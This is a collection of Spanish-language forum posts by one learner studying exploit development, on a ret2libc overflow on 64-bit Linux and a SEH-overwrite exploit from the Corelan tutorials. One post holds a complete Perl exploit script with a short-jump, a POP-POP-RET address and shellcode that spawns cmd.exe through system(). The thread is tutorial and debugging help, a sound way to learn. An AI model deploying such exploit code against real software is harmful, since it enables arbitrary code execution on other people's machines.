Mensajes

Porque no lees el codigo en ASM , asi calculas cuanto reserva . Cada compilador lo hace de forma diferente , fijate.

disassembly-flavor intel(Sintaxis intel)
disassemble main

Fijate el prologo y listo.

Y tú te llamas ret2libc jajaja

Ya, cada compilador reserva de una manera (el mío 0x20, es decir, 31d, y apartir de ahí siempre muestra el mismo EIP, no más Aes ni nada).

¡Gracias por responder!

Buenos días.

Estaba siguiendo el tutorial http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf para bypassear el HW DEP mediante el método ret2libc.

Éste es el código a explotar:

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
char buff[5];

if (argc != 2)
{
puts("Needs and argument!");
exit(1);
}

printf("Exploiting via returning into libc function\n");
strcpy(buff, argv[1]);
printf("\nYou typed [%s]\n\n", buff);

return 0;
}



El caso es que según pone en el tutorial, con 32 Aes sobreescribiríamos completamente el RET ADDRESS, pero en el tutorial, el autor hace uso de un sistema de 32 bits, y yo estoy usando la última versión de Kali, de 64 bits.
Con 30 Aes, me faltan 2 Aes para sobreescribir todo el RET ADDRESS, pero con o más de 31 Aes, siempre muestra  0x0000000000400655. ¿Qué pasa?

root@Kali:~/Desktop/Exploits# ulimit -c unlimited
root@Kali:~/Desktop/Exploits# gcc -ggdb retlib.c -o retlib
root@Kali:~/Desktop/Exploits# ./retlib `perl -e 'print "A"x30'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Violación de segmento (`core' generado)
root@Kali:~/Desktop/Exploits# gdb -q -c ./core
[New LWP 19019]

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff7adfe000
Core was generated by `./retlib AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0000414141414141 in ?? ()
(gdb) q
root@Kali:~/Desktop/Exploits# ./retlib `perl -e 'print "A"x31'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Violación de segmento (`core' generado)
root@Kali:~/Desktop/Exploits# gdb -q -c ./core
[New LWP 19023]

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff5fffe000
Core was generated by `./retlib AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0000000000400655 in ?? ()
(gdb) q

Muchas gracias

Buenos días.

Cuando se compila el propio ejecutable con SAFESEH, entonces el SEH handler de las excepciones que programamos no pueden apuntar al propio ejecutable (ha sido compilado con SAFESEH), pero si el SEH handler y el SEH chain son punteros, entonces, en una ejecución normal de cualquier programa, ¿dónde apunta el SEH handler? La cuestión es esa, que apunta al propio ejecutable y NO se puede.

Muchas gracias .

Creo que la mejor explicacion la puedes obtener con un debugger.

Si usas Olly, pon un BreakPoint en el SEH Handler y ejecuta hasta que ocurra la excepcion. Con SHIFT+F9 le pasas la excepcion al programa (el debugger la captura antes) y veras lo que ocurre cuando la excepcion se handlea (cuando llegas al pop-pop-ret).

Recuerda que la practica hace al maestro... 

Saludos!

Desde luego, no hubiera comentado si no lo hubiera hecho.

La cosa es que se para en el primer POP, pero ESP NO ES 0x00000000 (ni dea de por qué), y más arriba de la pila (ESP más pequeños), donde apunta ESP, está así la pila:

| Puntero (Return tu ntdll.0xDirección)
| Puntero (apunta a un sitio de la pila actual, que según parece, contiene el valor C0000005)
| Puntero a mi handler

La secuencia sería asi:

1) Sobreescribes el stack provocando una excepcion.
2) El SO ejecutara el codigo indicado por el SEH Handler (que haz colocado), el cual es un POP-POP-RET.
3) El RET anterior, saltará a ejecutar el stack, en la direccion donde esta un JMP corto.
4) Tu JMP corto se encarga de saltar los bytes que, de otra forma, romperian el programa, pues tienes 4 bytes que pertenecen al exception handler (los otros 2 son NOPs).

Ni las de sistemas, ni las que esten compiladas con SafeSEH.

Saludos!

Buenas.

Vuelvo a enviar un post para que recibas la notificación.

He estado leyendo sobre SEH, y mi duda es referente al POP,POP,RET que ejecuta el SEH handler.

En teoría, nuestra pila (a grandes rasgos) está así antes de desbordar la pila:
________________
| Variables locales [ESP = EBP]
|________________ Aquí se ejecutaría mov ebp,esp
| EBP guardado [ESP-16d]
|________________
| RET address [ESP-12d]
|________________
| Parámetros [ESP-8d]
|________________
| SEH chain [ESP-4d]
|________________
| SEH handler [ESP tiene determinado valor, ya que aún no ha sido XOReado]
|________________

Pues bueno, producimos la excepción.
Se XORean los registros --> ESP=0x00000000, EBP=0x00000000, Otros registros=0x00000000

Se ejecuta el SEH handler, es decir, el POP-POP-RET al que apunta, y eso provoca que:
POP -> ESP += 4 -> ESP=0x00000004
POP -> ESP += 4 -> ESP=0x00000008
RET -> RET ESP -> Ejecuta el SEH chain

El tutorial de Corelan dice "(3) Durante el prólogo de manejador, la dirección del puntero al próximo SEH fue puesta en el Stack en ESP+8. pop pop ret pone esta dirección en EIP y permite la ejecución del código en la dirección al próximo SEH".

Entiendo lo que dice, y lo que hace el POP-POP-RET, pero no entiendo cómo relacionar la pila que he puesto al principio del post con lo que explica ahora el tutorial de Corelan.

Podría seguir los tutoriales teniendo esa duda, pero me gustaría saber cómo funciona realmente, por favor.

Muchas gracias.

La secuencia sería asi:

1) Sobreescribes el stack provocando una excepcion.
2) El SO ejecutara el codigo indicado por el SEH Handler (que haz colocado), el cual es un POP-POP-RET.
3) El RET anterior, saltará a ejecutar el stack, en la direccion donde esta un JMP corto.
4) Tu JMP corto se encarga de saltar los bytes que, de otra forma, romperian el programa, pues tienes 4 bytes que pertenecen al exception handler (los otros 2 son NOPs).

Ni las de sistemas, ni las que esten compiladas con SafeSEH.

Saludos!

Vamos a ver...

En teoría, se ejecuta el SEH handler, pero cuando haces la prueba para saber si se produce un buffer overflow, el EIP recoge los bytes 585,586,587,588, entonces, en teoría, EIP es el SEH chain...

Aparte, si se ejecuta el SEH handler, ¿por qué funciona el POP POP RET? En teoría el registro ESP ha sido XOReado, y lo que queremos "RETear" no está en el tercer sitio encima de todo el stack.

Lo demás lo entiendo.

El JMP corto es para saltar 6 bytes (los 2 NOPs + los 4 bytes del SEH handler). Asi saltas a tu shellcode.

Ahora, el SEH handler (la direccion del pop-pop-ret), se ejecutará cuando ocurra una excepcion (generalmente es por desborde del stack). Cuando lo haga, el SO ejecutará el codigo indicado por el SEH handler (osea el pop-pop-ret) y el ret será quien saltará al JMP corto.

Saludos!

Hola MCKSys Argentina, gracias por tu respuesta.

Acabo de releerme el PDF.
Vamos a ver,

Llenamos el buffer con 584 bytes, justo antes del SEH chain.
Sobreescribimos el SEH chain con un JMP SHORT 6 (lo que ejecutará mi shellcode).
Sobreescribimos el SEH handler la dirección de un POP-POP-RET de una DLL no compilada con SafeSEH.
Desbordamos TOOOOODO el stack del programa, lo que provoca una excepción, así que se ejecuta el SEH handler.

Pero no lo termino de entender. Tengo 2 preguntas:
1. Si el JMP SHORT 6 ejecuta ya nuestra shellcode, para qué queremos ponerle un POP-POP-RET al SEH handler?
2. He estado buscando sobre SafeSEH en este foro (http://foro.elhacker.net/bugs_y_exploits/duda_con_safeseh-t393112.0.html), y SafeSEH lo que hace es que el SEH handler no pueda ejecutar determinadas DLL del sistema, ya que ntdll.dll no lo permitirá.

Buenos díaas.

He estado bastante liado con la uni, pero ahora que tengo tiempo ...
Acabo de terminar el tutorial 3a, que trata sobre SEH, verme el vídeo y mirar el foro de Corelan, pero hay una cosa que no entiendo (lo he puesto en mayúsculas dentro del código).

Código (Perl) [Seleccionar] Expandir

=pod
####### EXPLICACIÓN #######

Se sobreescribe el stack con basura hasta antes del SEH chain,
Sobreescribimos el SEH chain con un JMP SHORT 6 y 2 NOPS, con lo cual saltamos 6 bytes (saltamos al próximo SEH handler, no el suyo)
Sobreescribimos el stack con la dirección de un POP POP RET (PERO EN TEORÍA AL HACER UN JMP SHORT 6 YA NO EJECUTARÍA ESTA DIRECCIÓN)
Sobreescribimos a contiuación con la shellcode
Ponemos basura porque queremos
=cut

$uitxt = "UI.TXT";

my $junk = "A" x 584;
my $nextSEHoverwrite = "\xeb\x06\x90\x90"; # jump 6 bytes:
  #
  # jmp short 6
  # NOP
  # NOP
my $SEHoverwrite = pack('V', 0x1001e067); # pop pop ret from Player.dll

# Open a console (cmd.exe)
# Size: 48 bytes
my $shellcode = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB" .
"\xC7\x93\xBF\x77" . # Offset de system() en msvcrt.dll --> 0x77BF93C7
"\xFF\xD3";

my $junk2 = "\x90" x 1000;

open(myfile,">$uitxt") ;
print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

Imagen del OllyDbg:



Desde ya muchas gracias.

[exploitable]

Buenos días!!

Estaba intentando usar el módulo exploitable de WinDbg, así que voy a http://msecdbg.codeplex.com y me lo descargo, lo descomprimo y cojo MSEC.dll del directorio Release (también he probado a hacerlo con la DLL que hay en el directorio Debug, ya que el tutorial 3 de Corelan no lo especifica) y la pongo en C:\Archivos de programa\Debugging Tools for Windows (x86)\winext, así pues, abro SoriTong.exe con WinDbg e intento cargar el módulo exploitable:

0:000> !load winext/msec.dll
The call to LoadLibrary(winext/msec.dll) failed, Win32 error 0n127
    "No se encontró el proceso especificado."
Please check your debugger configuration and/or network access.

He probado a usar la ruta completa, pero me sale el mismo mensaje.
¿Qué ocurre?

Gracias de antemano.

Con C# puedes programar aplicaciones nativas para Windows, MAC OS, iOS, iPad, WP y Android, y usar la máquina virtual Mono para GNU/Linux. También puedes usar Mono con las otras plataformas.

Lo cierto es que sea nativo o con Mono, irá más rápido, ya que la máquina virtual Mono —la cual tiene una libre implementación— está más optimizada que Dalvik (la de Android) y que la desktop de Oracle.

El inconveniente es que es carísimo comprar Xamarin (compilador que permite desarrollar para tantas plataformas diferentes compartiendo gran parte del código, poniéndole Mono al programa o compilándolo nativamente).

Con lo que respecta a Java, es lento, es incómodo de programar (tiene cuarentamil clases que tienes que instanciar), y no incluye tecnologías importantes como la sobrecarga de operadores o las estructuras, por no hablar de la sintaxis que tiene...

Y tú, ¿qué opinas?